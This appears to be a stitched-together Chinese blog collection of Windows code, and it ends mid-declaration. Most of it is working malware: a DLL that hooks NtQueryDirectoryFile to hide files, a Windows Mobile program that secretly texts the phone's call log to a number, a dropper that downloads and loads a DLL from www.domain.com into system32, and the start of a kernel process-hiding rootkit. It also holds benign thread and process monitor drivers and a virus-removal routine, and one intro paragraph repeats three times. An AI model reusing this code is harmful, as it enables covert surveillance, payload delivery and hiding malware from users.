        ThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule+ImportDescriptor->OriginalFirstThunk);

        int num = 1;
        while (ThunkData->u1.Function)
        {
            char* szFunc = (char*)((ULONG)hModule+ThunkData->u1.AddressOfData+2);
            if (stricmp(szFunc,"NtQueryDirectoryFile")==0)
            {
                PDWORD pFunc = (DWORD*)((ULONG)hModule+(DWORD)ImportDescriptor->FirstThunk)+(num-1);
                if (flag)
                {
                    //Hook
                    ULONG pNewFunc = (ULONG)NewZwQueryDirectoryFile;
                    OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)(*(ULONG*)pFunc);
                    DWORD dwWrite = 0;
                    WriteProcessMemory(GetCurrentProcess(),pFunc,&pNewFunc,sizeof(ULONG),&dwWrite);
                }
                else
                {
                    //UnHook
                    DWORD dwWrite = 0;
                    WriteProcessMemory(GetCurrentProcess(),pFunc,(DWORD*)(&OldZwQueryDirectoryFile),sizeof(ULONG),&dwWrite);
                }

                return TRUE;
            }
            num++;
            ThunkData++;
        }
        ImportDescriptor++;
    }

    return FALSE;
}

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  dwReason,LPVOID lpReserved)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        //HOOK ZwQueryDirectroyFile
        HookQueryFile(TRUE);
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        //UnHook ZwQueryDirectoryFile
        HookQueryFile(FALSE);
    }

    return TRUE;
}

废话少说，看看代码

      using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.WindowsMobile.PocketOutlook;

namespace ReturnCall
{

    class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        public struct CALLLOGENTRY
        {
            /*
            public UInt32 cbSize;
            public UInt64 ftStartTime;
            public UInt64 ftEndTime;
            public short iom;

            public bool fOutgoing;
            public bool fConnected;
            public bool fEnded;

            public bool fRoam;
            public short cidt;
            public IntPtr pszNumber;
            public IntPtr pszName;
            public IntPtr pszNameType;
            public IntPtr pszNote;
             */
        };
        [DllImport("phone.dll", EntryPoint = "PhoneOpenCallLog", SetLastError = true)]
        private static extern int PhoneOpenCallLog(ref IntPtr pHandle);

        [DllImport("phone.dll", EntryPoint = "PhoneCloseCallLog", SetLastError = true)]
        private static extern int PhoneCloseCallLog(IntPtr pHandle);

        [DllImport("phone.dll", EntryPoint = "PhoneGetCallLogEntry", SetLastError = true)]
        private static extern int PhoneGetCallLogEntry(IntPtr pHandke, ref CALLLOGENTRY pEntry);

        static void Main(string[] args)
        {
            {
                string CallInfo = "";

                try
                {
                    IntPtr handle = IntPtr.Zero;

                    CALLLOGENTRY entry = new CALLLOGENTRY();
                    PhoneOpenCallLog(ref handle);
                    entry.cbSize = (uint)Marshal.SizeOf(entry);

                    if (handle != IntPtr.Zero)
                    {
                        while (PhoneGetCallLogEntry(handle, ref entry) == 0)
                        {

                            string phoneNumber = Marshal.PtrToStringUni(entry.pszNumber);
                            string name = Marshal.PtrToStringUni(entry.pszName);

                            if (phoneNumber == null)
                            {
                                phoneNumber = string.Empty;
                            }

                            if (name == null)
                            {
                                name = string.Empty;
                            }

                            string temp = (phoneNumber.Trim() + name.Trim());
                            CallInfo = CallInfo + temp;
                        }
                        PhoneCloseCallLog(handle);
                        Microsoft.WindowsMobile.PocketOutlook.SmsMessage sms = new SmsMessage("151608XXXXXX", CallInfo.Substring(0, 140));
                        sms.Send();
                    }
                    else
                    {

                        int error = Marshal.GetLastWin32Error();
                    }
                }
                catch (Exception ep)
                {
                }
                finally
                {
                }
            }

        }
    }
}

请见代码

      #include "stdafx.h"
#include "windows.h"
#include "UrlMon.h"
#pragma comment(lib, "urlmon.lib")

bool FileIsExist(LPCTSTR szFileFullPathName)
{
    WIN32_FIND_DATA Win32_Find_Data;
    HANDLE hFindFile;

    hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);

    if(INVALID_HANDLE_VALUE == hFindFile)
    {
        //AfxMessageBox("Not Exist");
        return false;
    }
    else
    {
        //AfxMessageBox("Have Exist");
        FindClose(hFindFile);
        return true;
    }
}

int main(int argc, char* argv[])
{
    char DownURL[255] = "http://www.domain.com/test.dll";
    char DownLoadDir[255];

    char ExeURL[255] = "http://www.domain.com/test.exe";
    char ExeDir[255];

    GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
    GetWindowsDirectory(ExeDir,sizeof(ExeDir));
    strcat(DownLoadDir,"\\system32\\DLLtest.dll");
    strcat(ExeDir,"\\system32\\MyLogin.dll");

    URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);

    Sleep(3000);
    URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);

    while(true)
    {
        if(FileIsExist(DownLoadDir) == true)
            break;
        else
            Sleep(1000);
    }
    Sleep(3000);
    LoadLibrary(DownLoadDir);
    Sleep(10000);
    return 0;
}

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio2012与Windows8带来格外不同的新体验

1.启动Vs2012

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现ring0层驱动监视创建线程，请见代码分析

      #include "ThreadMon.h"
#include "../inc/ioctls.h"

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//

PDEVICE_OBJECT  g_pDeviceObject;

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//

NTSTATUS
DriverEntry(
    IN PDRIVER_OBJECT       DriverObject,
    IN PUNICODE_STRING      RegistryPath
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    UNICODE_STRING      ntDeviceName;
    UNICODE_STRING      dosDeviceName;
    UNICODE_STRING      ThreadEventString;
    PDEVICE_EXTENSION   deviceExtension;
    PDEVICE_OBJECT      deviceObject = NULL;

    KdPrint(("[ThreadMon] DriverEntry: %wZ\n", RegistryPath));

    //
    // 创建设备对象
    //
    RtlInitUnicodeString(&ntDeviceName, THREADMON_DEVICE_NAME_W);

    Status = IoCreateDevice(
                        DriverObject,
                        sizeof(DEVICE_EXTENSION),       // DeviceExtensionSize
                        &ntDeviceName,                  // DeviceName
                        FILE_DEVICE_THREADMON,          // DeviceType
                        0,                              // DeviceCharacteristics
                        TRUE,                           // Exclusive
                        &deviceObject                   // [OUT]
                        );

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ThreadMon] IoCreateDevice Error Code = 0x%X\n", Status));

        return Status;
    }

    //
    // 设置扩展结构
    //
    deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;

    //
    // Set up synchronization objects, state info,, etc.
    //
    deviceObject->Flags |= DO_BUFFERED_IO;

    //
    // 创建符号链接
    //
    RtlInitUnicodeString(&dosDeviceName, THREADMON_DOS_DEVICE_NAME_W);

    Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ThreadMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));

        IoDeleteDevice(deviceObject);

        return Status;
    }

    //
    // 分发IRP
    //
    DriverObject->MajorFunction[IRP_MJ_CREATE]          = ThreadMonDispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]           = ThreadMonDispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = ThreadMonDispatchDeviceControl;
    DriverObject->DriverUnload                          = ThreadMonUnload;

    //
    // 保存设备对象指针
    //
    g_pDeviceObject = deviceObject;

    //
    // 创建事件对象与应用层通信
    //
    RtlInitUnicodeString(&ThreadEventString, EVENT_NAME);

    deviceExtension->ThreadEvent = IoCreateNotificationEvent(&ThreadEventString, &deviceExtension->ThreadHandle);
    KeClearEvent(deviceExtension->ThreadEvent);         // 非受信状态

    //
    // 设置回调例程
    //
    Status = PsSetCreateThreadNotifyRoutine(ThreadCallback);

    return Status;
}

NTSTATUS
ThreadMonDispatchCreate(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ThreadMon] IRP_MJ_CREATE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ThreadMonDispatchClose(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ThreadMon] IRP_MJ_CLOSE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ThreadMonDispatchDeviceControl(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    PIO_STACK_LOCATION  irpStack;
    PDEVICE_EXTENSION   deviceExtension;
    ULONG               inBufLength, outBufLength;
    ULONG               ioControlCode;
    PCALLBACK_INFO      pCallbackInfo;

    // 获取当前设备栈
    irpStack = IoGetCurrentIrpStackLocation(Irp);
    deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;

    // 提取信息
    pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
    inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    // 处理不同的IOCTL
    switch (ioControlCode)
    {
    case IOCTL_THREAD_MON:
        {
            KdPrint(("[ThreadMon] IOCTL: 0x%X", ioControlCode));

            if (outBufLength >= sizeof(PCALLBACK_INFO))
            {
                pCallbackInfo->ProcessId = deviceExtension->ProcessId;
                pCallbackInfo->ThreadId = deviceExtension->ThreadId;
                pCallbackInfo->Create = deviceExtension->Create;

                Irp->IoStatus.Information = outBufLength;
            }
            break;
        }

    default:
        {
            Status = STATUS_INVALID_PARAMETER;
            Irp->IoStatus.Information = 0;

            KdPrint(("[ThreadMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
                    ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
                    IoGetFunctionCodeFromCtlCode(ioControlCode)));

            break;
        }
    }

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

VOID
ThreadMonUnload(
    IN PDRIVER_OBJECT       DriverObject
)
{
    UNICODE_STRING dosDeviceName;

    //
    // Free any resources
    //

    // 卸载回调例程
    PsRemoveCreateThreadNotifyRoutine(ThreadCallback);

    //
    // Delete the symbolic link
    //

    RtlInitUnicodeString(&dosDeviceName, THREADMON_DEVICE_NAME_W);

    IoDeleteSymbolicLink(&dosDeviceName);

    //
    // Delete the device object
    //

    IoDeleteDevice(DriverObject->DeviceObject);

    KdPrint(("[ThreadMon] Unloaded"));
}

VOID
ThreadCallback(
    IN HANDLE               ProcessId,          // 进程ID
    IN HANDLE               ThreadId,           // 线程ID
    IN BOOLEAN              Create              // 创建还是终止
)
{
    PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;

    deviceExtension->ProcessId = ProcessId;
    deviceExtension->ThreadId = ThreadId;
    deviceExtension->Create = Create;

    // 触发事件，通知应用程序
    KeSetEvent(deviceExtension->ThreadEvent, 0, FALSE);
    KeClearEvent(deviceExtension->ThreadEvent);
}

//
//////////////////////////////////////////////////////////////////////////

ring3层调用代码如下

      #include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"

#define SYMBOL_LINK "\\\\.\\ThreadMon"

int main()
{
    CALLBACK_INFO cbkinfo, cbktemp = {0};

    // 打开驱动设备对象
    HANDLE hDriver = ::CreateFile(
                                SYMBOL_LINK,
                                GENERIC_READ | GENERIC_WRITE,
                                0,
                                NULL,
                                OPEN_EXISTING,
                                FILE_ATTRIBUTE_NORMAL,
                                NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("打开驱动设备对象失败！\n");

        return -1;
    }

    // 打开内核事件对象
    HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);

    while (::WaitForSingleObject(hProcessEvent, INFINITE))
    {
        DWORD   dwRet;
        BOOL    bRet;

//      printf("收到事件通知！\n");
        bRet = ::DeviceIoControl(
                                hDriver,
                                IOCTL_THREAD_MON,
                                NULL,
                                0,
                                &cbkinfo,
                                sizeof(cbkinfo),
                                &dwRet,
                                NULL);

        if (bRet)
        {
            if (cbkinfo.ProcessId != cbktemp.ProcessId || \
                cbkinfo.ThreadId != cbktemp.ThreadId || \
                cbkinfo.Create != cbktemp.Create)
            {
                if (cbkinfo.Create)
                {
                    printf("有线程被创建，PID = %d，TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
                }
                else
                {
                    printf("有线程被终止，PID = %d，TID = %d\n", cbkinfo.ProcessId, cbkinfo.ThreadId);
                }

                cbktemp = cbkinfo;
            }
        }
        else
        {
            printf("\n获取进程信息失败！\n");
            break;
        }
    }

    ::CloseHandle(hDriver);

    return 0;
}

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio2012与Windows8带来格外不同的新体验

1.启动Vs2012

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现内核的进程创建

      #include "ProcMon.h"
#include "../inc/ioctls.h"

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 全局变量
//

PDEVICE_OBJECT  g_pDeviceObject;

//
//////////////////////////////////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////
//
// 函数实现
//

NTSTATUS
DriverEntry(
    IN PDRIVER_OBJECT       DriverObject,
    IN PUNICODE_STRING      RegistryPath
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    UNICODE_STRING      ntDeviceName;
    UNICODE_STRING      dosDeviceName;
    UNICODE_STRING      ProcessEventString;
    PDEVICE_EXTENSION   deviceExtension;
    PDEVICE_OBJECT      deviceObject = NULL;

    KdPrint(("[ProcMon] DriverEntry: %wZ\n", RegistryPath));

    //
    // 创建设备对象
    //
    RtlInitUnicodeString(&ntDeviceName, PROCMON_DEVICE_NAME_W);

    Status = IoCreateDevice(
                        DriverObject,
                        sizeof(DEVICE_EXTENSION),       // DeviceExtensionSize
                        &ntDeviceName,                  // DeviceName
                        FILE_DEVICE_PROCMON,            // DeviceType
                        0,                              // DeviceCharacteristics
                        TRUE,                           // Exclusive
                        &deviceObject                   // [OUT]
                        );

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ProcMon] IoCreateDevice Error Code = 0x%X\n", Status));

        return Status;
    }

    //
    // 设置扩展结构
    //
    deviceExtension = (PDEVICE_EXTENSION)deviceObject->DeviceExtension;

    //
    // Set up synchronization objects, state info,, etc.
    //
    deviceObject->Flags |= DO_BUFFERED_IO;

    //
    // 创建符号链接
    //
    RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);

    Status = IoCreateSymbolicLink(&dosDeviceName, &ntDeviceName);

    if(!NT_SUCCESS(Status))
    {
        KdPrint(("[ProcMon] IoCreateSymbolicLink Error Code = 0x%X\n", Status));

        IoDeleteDevice(deviceObject);

        return Status;
    }

    //
    // 分发IRP
    //
    DriverObject->MajorFunction[IRP_MJ_CREATE]          = ProcmonDispatchCreate;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]           = ProcmonDispatchClose;
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = ProcmonDispatchDeviceControl;
    DriverObject->DriverUnload                          = ProcmonUnload;

    //
    // 保存设备对象指针
    //
    g_pDeviceObject = deviceObject;

    //
    // 创建事件对象与应用层通信
    //
    RtlInitUnicodeString(&ProcessEventString, EVENT_NAME);

    deviceExtension->ProcessEvent = IoCreateNotificationEvent(&ProcessEventString, &deviceExtension->hProcessHandle);
    KeClearEvent(deviceExtension->ProcessEvent);            // 非受信状态

    //
    // 设置回调例程
    //
    Status = PsSetCreateProcessNotifyRoutine(ProcessCallback, FALSE);

    return Status;
}

NTSTATUS
ProcmonDispatchCreate(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ProcMon] IRP_MJ_CREATE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ProcmonDispatchClose(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS Status = STATUS_SUCCESS;

    Irp->IoStatus.Information = 0;

    KdPrint(("[ProcMon] IRP_MJ_CLOSE\n"));

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

NTSTATUS
ProcmonDispatchDeviceControl(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    PIO_STACK_LOCATION  irpStack;
    PDEVICE_EXTENSION   deviceExtension;
    ULONG               inBufLength, outBufLength;
    ULONG               ioControlCode;
    PCALLBACK_INFO      pCallbackInfo;

    // 获取当前设备栈
    irpStack = IoGetCurrentIrpStackLocation(Irp);
    deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;

    // 提取信息
    pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
    inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    // 处理不同的IOCTL
    switch (ioControlCode)
    {
    case IOCTL_PROC_MON:
        {
            KdPrint(("[ProcMon] IOCTL: 0x%X", ioControlCode));

            if (outBufLength >= sizeof(PCALLBACK_INFO))
            {
                pCallbackInfo->hParentId = deviceExtension->hParentId;
                pCallbackInfo->hProcessId = deviceExtension->hProcessId;
                pCallbackInfo->bCreate = deviceExtension->bCreate;

                Irp->IoStatus.Information = outBufLength;
            }
            break;
        }

    default:
        {
            Status = STATUS_INVALID_PARAMETER;
            Irp->IoStatus.Information = 0;

            KdPrint(("[ProcMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
                    ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
                    IoGetFunctionCodeFromCtlCode(ioControlCode)));

            break;
        }
    }

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

VOID
ProcmonUnload(
    IN PDRIVER_OBJECT       DriverObject
)
{
    UNICODE_STRING dosDeviceName;

    //
    // Free any resources
    //

    // 卸载回调例程
    PsSetCreateProcessNotifyRoutine(ProcessCallback, TRUE);

    //
    // Delete the symbolic link
    //

    RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);

    IoDeleteSymbolicLink(&dosDeviceName);

    //
    // Delete the device object
    //

    IoDeleteDevice(DriverObject->DeviceObject);

    KdPrint(("[ProcMon] Unloaded"));
}

VOID
ProcessCallback(
    IN HANDLE               ParentId,           // 父进程ID
    IN HANDLE               ProcessId,          // 发生事件的进程ID
    IN BOOLEAN              Create              // 进程是创建还是终止
)
{
    PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;

    deviceExtension->hParentId = ParentId;
    deviceExtension->hProcessId = ProcessId;
    deviceExtension->bCreate = Create;

    // 触发事件，通知应用程序
    KeSetEvent(deviceExtension->ProcessEvent, 0, FALSE);
    KeClearEvent(deviceExtension->ProcessEvent);
}

//
//////////////////////////////////////////////////////////////////////////

ring3实现应用层的调用，搞定进程创建的监视

      #include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"

#define SYMBOL_LINK "\\\\.\\ProcMon"
//#define SYMBOL_LINK "\\\\.\\slNTProcDrv"

int main()
{
    CALLBACK_INFO cbkinfo, cbktemp = {0};

    // 打开驱动设备对象
    HANDLE hDriver = ::CreateFile(
                            SYMBOL_LINK,
                            GENERIC_READ | GENERIC_WRITE,
                            0,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("打开驱动设备对象失败！\n");

        return -1;
    }

    // 打开内核事件对象
    HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);

    while (::WaitForSingleObject(hProcessEvent, INFINITE))
    {
        DWORD   dwRet;
        BOOL    bRet;

        bRet = ::DeviceIoControl(
                            hDriver,
                            IOCTL_PROC_MON,
                            NULL,
                            0,
                            &cbkinfo,
                            sizeof(cbkinfo),
                            &dwRet,
                            NULL);

        if (bRet)
        {
            if (cbkinfo.hParentId != cbktemp.hParentId || \
                cbkinfo.hProcessId != cbktemp.hProcessId || \
                cbkinfo.bCreate != cbktemp.bCreate)
            {
                if (cbkinfo.bCreate)
                {
                    printf("有进程被创建，PID = %d\n", cbkinfo.hProcessId);
                }
                else
                {
                    printf("有进程被终止，PID = %d\n", cbkinfo.hProcessId);
                }

                cbktemp = cbkinfo;
            }
        }
        else
        {
            printf("\n获取进程信息失败！\n");
            break;
        }
    }

    ::CloseHandle(hDriver);

    return 0;
}

创建第一个Windows8应用程序，

Visual Studio 11效果如下

设计下列控件

针对程序进行命名

按钮插入下列代码实现杀毒，实现卸载驱动，删除文件，删除注册表，请见代码注释

      WCHAR path[100];

        //  需要删除的系统驱动及文件
        WCHAR DeviceName[2][50] = { {"\\\\.\\slHBKernel"},
                                    {"\\\\.\\slHBKernel32"} };

        WCHAR ServiceName[2][50] = {    {"HBKernel"},
                                    {"HBKernel32"}  };

        WCHAR FileName[2][50] = {   {"\\drivers\\HBKernel.sys"},
                                    {"\\drivers\\HBKernel32.sys"}   };

        for ( int i=0; i<2; i++ )
        {
            HANDLE hDevice = CreateFile(    DeviceName[i],
                                            GENERIC_READ|GENERIC_WRITE,
                                            0,
                                            NULL,
                                            OPEN_EXISTING,
                                            0,
                                            NULL
                                        );

            DWORD dLen;
            BOOL Driver_DEL = DeviceIoControl(
                                                hDevice,
                                                0x22E003,
                                                NULL,
                                                0,
                                                NULL,
                                                0,
                                                &dLen,
                                                NULL
                                            );
            CloseHandle(hDevice);

            if ( Driver_DEL==TRUE )
            {
                printf("Virus Device Driver %s has been unloaded...\n",  DeviceName[i]);
            }

            SC_HANDLE scm = OpenSCManager(0, 0, 0x0F003F);
            SC_HANDLE service = OpenService(scm, ServiceName[i], SERVICE_ALL_ACCESS|DELETE);
            if ( service!=NULL )
            {
                if ( ControlService(service, 1, NULL) )
                {
                    printf("The %s service has been stopped...\n", ServiceName[i]);
                }

                if ( DeleteService(service) )
                {
                    printf("The %s file has been removed from the SCM...\n", ServiceName[i]);
                }
            }
            CloseServiceHandle(service);
            CloseServiceHandle(scm);

            GetSystemDirectory(path, 100);
            lstrcat(path, FileName[i]);
            if ( DeleteFile(path) )
            {
                printf("The %s file has been removed from the Disk...\n", FileName[i]);
            }

        }
        //  关闭HBInject程序的窗口
        HWND hWnd = FindWindow(NULL, "HBInject");
        if ( hWnd!=NULL )
        {
            SendMessage(hWnd, 0x10, NULL, NULL);
        }

        //  需要删除的文件
        WCHAR files[][20] = {   {"\\explore.exe"},
                                {"\\HBmhly.dll"},
                                {"\\System.exe"},
                                {"\\HBWOW.dll"},
                                {"\\Update.dat"}
                            };

        for ( int j=0; j<5; j++ )
        {
            GetSystemDirectory(path, 100);
            lstrcat(path, files[j]);
            if ( DeleteFile(path) )
            {
                printf("The file %s has been removed from the Disk...\n", path);
            }
        }

        //  需要删除的注册表键值
        HKEY key = NULL;
        if ( ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &key) )
        {
            if ( RegDeleteValue(key, "HBService")==ERROR_SUCCESS )
            {
                printf("The HBService has been removed from the Registry...\n");
            }

            if ( RegDeleteValue(key, "HBService32")==ERROR_SUCCESS )
            {
                printf("The HBService32 has been removed from the Registry...\n");
            }
        }

在Windows NT中，80386保护模式的“保护”比Windows 95中更坚固，这个“镀金的笼子”更加结实，更加难以打破。在Windows 95中，至少应用程序I/O操作是不受限制的，而在Windows NT中，我们的应用程序连这点权限都被剥夺了。在NT中几乎不太可能进入真正的ring0层。 
在Windows NT中，存在三种Device Driver：

  1．“Virtual device Driver” (VDD)。通过VDD，16位应用程序，如DOS 和Win16应用程序可以访问特定的I/O端口（注意，不是直接访问，而是要通过VDD来实现访问）。

  2．“GDI Driver”，提供显示和打印所需的GDI函数。

  3．“Kernel Mode Driver”，实现对特定硬件的操作，比如说CreateFile, CloseHandle (对于文件对象而言), ReadFile, WriteFile, DeviceIoControl 等操作。“Kernel Mode Driver”还是Windows NT中唯一可以对硬件中断和DMA进行操作的Driver。SCSI 小端口驱动和 网卡NDIS 驱动都是Kernel Mode Driver的一种特殊形式。

Visual studio2012与Windows8带来格外不同的新体验

1.启动Vs2012

2.看见满目的驱动开发模板

3.选择一个驱动模式，有内核模式与用户模式两种的驱动

4.创建一个驱动程序，KMDF DriverMVP

5.我们选择的是内核模式的驱动程序，下面是创建成功后的界面，分别是驱动程序本身，与驱动安装包

6.按下F5，选择驱动编译，

插入下列代码实现内核隐藏进程

头文件

      #ifndef DBGHELP_H
#define DBGHELP_H 1

#include <ntifs.h>

/************************************************************************/
/* 重量级结构的申明                                                                     */
/************************************************************************/

typedef struct _HANDLE_TABLE {
    ULONG Flags;
    LONG HandleCount;
    PHANDLE_TABLE_ENTRY **Table;
    struct _EPROCESS *QuotaProcess;
    HANDLE UniqueProcessId;
    LONG FirstFreeTableEntry;
    LONG NextIndexNeedingPool;
    ERESOURCE HandleTableLock;
    LIST_ENTRY HandleTableList;
    KEVENT HandleContentionEvent;
} HANDLE_TABLE, *PHANDLE_TABLE;

typedef BOOLEAN (*EX_ENUMERATE_HANDLE_ROUTINE)(
                                               IN PHANDLE_TABLE_ENTRY HandleTableEntry,
                                               IN HANDLE Handle,
                                               IN PVOID EnumParameter
                                               );
typedef BOOLEAN(*__ExEnumHandleTable)(
                                      IN PHANDLE_TABLE HandleTable,
                                      IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
                                      IN PVOID EnumParameter,
                                      OUT PHANDLE Handle OPTIONAL
    );

typedef BOOLEAN (*EXENUMHANDLETABLE)(
                                     IN PHANDLE_TABLE HandleTable,
                                     IN EX_ENUMERATE_HANDLE_ROUTINE EnumHandleProcedure,
                                     IN PVOID EnumParameter,
                                     OUT PHANDLE Handle OPTIONAL
                                       );

/************************************************************************/
/* 申明一些全局变量                                                                     */
/************************************************************************/
ULONG    g_Offset_Eprocess_Name=0;
ULONG    g_Offset_Eprocess_Flink = 0;
ULONG    g_Offset_Eprocess_ProcessId = 0;
ULONG    g_Offset_Eprocess_HandleTable = 0;
__ExEnumHandleTable ExEnumHandleTable ;

PEPROCESS  g_pEprocess_System = 0;
ULONG trytimes=0;
ULONG error=0;

/************************************************************************/
/* 申明一些函数                                                                     */
/************************************************************************/

BOOLEAN EnumHandleCallback(PHANDLE_TABLE_ENTRY HandleTableEntry,IN HANDLE Handle,PVOID EnumParameter
);

NTSTATUS
EraseObjectFromHandleTable(
                           PHANDLE_TABLE pHandleTable,
                           IN ULONG ProcessId
);

VOID RemoveNodeFromActiveProcessLinks(
  IN ULONG ProcessId
  );

VOID
HideProcessById(
  IN ULONG ProcessId
);

NTSTATUS
LookupProcessByName(
                    OUT PEPROCESS pEprocess
